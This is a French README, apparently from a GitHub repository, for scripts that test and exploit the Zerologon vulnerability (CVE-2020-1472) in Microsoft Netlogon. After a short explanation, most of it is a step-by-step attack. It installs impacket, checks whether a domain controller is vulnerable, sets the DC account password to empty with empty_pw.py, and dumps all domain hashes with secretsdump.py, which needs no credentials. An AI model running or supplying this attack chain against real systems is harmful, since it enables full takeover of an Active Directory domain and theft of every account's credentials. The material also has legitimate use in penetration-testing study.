Zerologon

Ensemble de scripts, pour tester et exploiter la vulnérabilité zerologon (CVE-2020-1472)

---

Qu'est-ce que c'est ?

ZeroLogon est une vulnérabilité qui permet d'exploiter une faille cryptographique dans le protocole Netlogon Remote Protocol (MS-NRPC) de l'Active Directory de Microsoft, qui permet aux utilisateurs de se connecter aux serveurs via NTLM.

---

Étapes préalables

Avant d'exécuter l'exploit, il faut savoir que nous avons besoin d'une version différente d'impacket. Pour cela, nous allons procéder de la manière suivante.

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

---

PoC (Preuve de concept)

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

Vérifier si le contrôleur de domaine victime est vulnérable à zerologon.

python3 tester.py <DC-NAME> <ip-address>

Si le DC victime est vulnérable, un message apparaîtra indiquant « Success! DC can be fully compromised by a Zerologon attack. »

Dans le cas contraire, c'est-à-dire si le DC victime n'est pas vulnérable car la faille de sécurité a été corrigée, nous obtiendrons le message suivant « Attack failed. Target is probably patched. »

---

Changer le mot de passe du contrôleur de domaine vulnérable en une chaîne vide.

python3 empty_pw.py <DC-NAME> <ip-address>

Si le contrôleur de domaine est vulnérable, après l'exécution de l'exploit, il ne devrait avoir aucun mot de passe.

Dumper les hashes du contrôleur de domaine.

> secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

En exécutant cela, nous pourrons voir tous les hashes du domaine, sans aucun identifiant.